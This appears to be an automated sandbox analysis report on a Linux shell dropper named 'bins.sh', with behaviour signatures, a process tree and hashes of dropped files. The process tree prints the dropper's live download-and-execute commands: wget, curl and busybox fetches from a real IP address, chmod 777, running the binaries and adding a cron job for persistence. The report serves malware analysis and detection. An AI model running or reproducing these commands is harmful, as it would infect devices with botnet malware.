Analysis

  • max time kernel
    122s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 17:01

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6ba8a8748f75571967562756ca21b71b

  • SHA1

    34882ed8e6e9809e322519be0ca0dbeb795757cd

  • SHA256

    5afdb5bbac7f5d3c2277c891e250c851aaf1bcb7b5ae535c0b5579caee3a545e

  • SHA512

    8a0e52f5a8a86784b50d71711349db2df0c00d16d9853a7a85a1b4a8511e710a50d5c250aa068b021ca81caafc7a2dff94f1ce4fc9a907f167e429b7185cb138

  • SSDEEP

    96:TlKrZDjN2CwWm8WaiqKtIaBEgCbjpEF18XPNWmslWaiqKt0fZDjN2CUnaRQgF1KE:5Kr4Wm8WaidtIasJXlWmaWaidtSMU

Malware Config

Signatures

  • Contacts a large (1484) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.240/bins/cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          ./cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://216.126.231.240/bins/G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            2⤵
            • Writes file to tmp directory
            PID:771
          • /bin/chmod
            chmod 777 G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            2⤵
            • File and Directory Permissions Modification
            PID:781
          • /tmp/G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            ./G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            2⤵
            • Executes dropped EXE
            PID:782
          • /bin/rm
            rm G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS
            2⤵
              PID:786
            • /usr/bin/wget
              wget http://216.126.231.240/bins/j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              2⤵
              • Writes file to tmp directory
              PID:787
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              2⤵
              • Writes file to tmp directory
              PID:791
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              2⤵
              • Writes file to tmp directory
              PID:798
            • /bin/chmod
              chmod 777 j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              2⤵
              • File and Directory Permissions Modification
              PID:804
            • /tmp/j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              ./j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              2⤵
              • Executes dropped EXE
              PID:806
            • /bin/rm
              rm j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu
              2⤵
                PID:809
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                2⤵
                • Writes file to tmp directory
                PID:810
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                2⤵
                • Writes file to tmp directory
                PID:828
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                2⤵
                • Writes file to tmp directory
                PID:829
              • /bin/chmod
                chmod 777 vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                2⤵
                • File and Directory Permissions Modification
                PID:830
              • /tmp/vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                ./vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:831
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:833
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:834
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:835
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:836
                  • /bin/rm
                    rm vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm
                    2⤵
                      PID:838
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                      2⤵
                        PID:841
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                        2⤵
                          PID:842
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                          2⤵
                          • Writes file to tmp directory
                          PID:843
                        • /bin/chmod
                          chmod 777 JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                          2⤵
                          • File and Directory Permissions Modification
                          PID:927
                        • /tmp/JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                          ./JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                          2⤵
                          • Executes dropped EXE
                          PID:928
                        • /bin/rm
                          rm JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD
                          2⤵
                            PID:930
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                            2⤵
                              PID:931
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                              2⤵
                                PID:932
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                                2⤵
                                • Writes file to tmp directory
                                PID:933
                              • /bin/chmod
                                chmod 777 ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                                2⤵
                                • File and Directory Permissions Modification
                                PID:934
                              • /tmp/ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                                ./ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                                2⤵
                                • Executes dropped EXE
                                PID:935
                              • /bin/rm
                                rm ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg
                                2⤵
                                  PID:937
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                  2⤵
                                    PID:938
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                    2⤵
                                      PID:939
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:940
                                    • /bin/chmod
                                      chmod 777 otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:941
                                    • /tmp/otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                      ./otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                      2⤵
                                      • Executes dropped EXE
                                      PID:942
                                    • /bin/rm
                                      rm otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO
                                      2⤵
                                        PID:944
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:945
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:946
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:951
                                      • /bin/chmod
                                        chmod 777 DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:960
                                      • /tmp/DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        ./DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        2⤵
                                        • Executes dropped EXE
                                        • System Network Configuration Discovery
                                        PID:961
                                      • /bin/rm
                                        rm DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:963
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                        2⤵
                                          PID:964
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                          2⤵
                                            PID:965
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:966
                                          • /bin/chmod
                                            chmod 777 2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:967
                                          • /tmp/2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                            ./2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                            2⤵
                                            • Executes dropped EXE
                                            PID:968
                                          • /bin/rm
                                            rm 2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh
                                            2⤵
                                              PID:970
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/WUQrz5oJMdF6dSexOjybvfdLMngcHJ10YR
                                              2⤵
                                                PID:971

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/2ehYEitJEMuP0ACJxAFoj1xDvJqKmN1bmh

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /tmp/DK26oDIh2rvlw4jVhVUNTXipkyObWLbHUw

                                              Filesize

                                              141KB

                                              MD5

                                              3ca8decdb1e52c423c521bfff02ac200

                                              SHA1

                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                              SHA256

                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                              SHA512

                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                            • /tmp/G7l76kJ2JX6ltablJ94TRVornmZ5xy4VWS

                                              Filesize

                                              119KB

                                              MD5

                                              1b166b95f9cb4b079ef1b9ec8363ddf3

                                              SHA1

                                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                                              SHA256

                                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                              SHA512

                                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                            • /tmp/JLtdCnKvoZ3SGjOXdUzRLtljWHJ4euaHrD

                                              Filesize

                                              117KB

                                              MD5

                                              849fa04ef88a8e8de32cb2e8538de5fe

                                              SHA1

                                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                              SHA256

                                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                              SHA512

                                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                            • /tmp/ZLB0la8M54LmFNTWP3dIrpW1ZrUoCZmvXg

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/cDezLTW4nDNa80FifzZ9xXj7XMbIQqeKbY

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/j6hIBN3XleDG26GE1IIRXtO7d8W14IgPsu

                                              Filesize

                                              127KB

                                              MD5

                                              89077b7bd4bcafca7713be43635c4862

                                              SHA1

                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                              SHA256

                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                              SHA512

                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                            • /tmp/otlmwxI0RYxOusVKKlBfigqBxkMyQgWyAO

                                              Filesize

                                              98KB

                                              MD5

                                              5141342d0df8699fa32a6b066a0c592e

                                              SHA1

                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                              SHA256

                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                              SHA512

                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                            • /tmp/vHqYKykCT4Lpp47xUis8P0RKj1KYcH8xYm

                                              Filesize

                                              151KB

                                              MD5

                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                              SHA1

                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                              SHA256

                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                              SHA512

                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                            • /var/spool/cron/crontabs/tmp.9WLBiK

                                              Filesize

                                              210B

                                              MD5

                                              dd8735b97195859b87a98a51ae481d47

                                              SHA1

                                              509c78bca2d26bb466e2b8e5a4a442a6495ac065

                                              SHA256

                                              3b9455523405d19c0fe5460ba3a79add432df5be81b67b2b690934f0b5161537

                                              SHA512

                                              a1b849ac00a10c5148284da7c00a1821901d1a92852ca158bdcc02db86a67cfa34ce10eea1b99202a97b23c625a6d77dde3c6f5d0f460c528da9416fead17653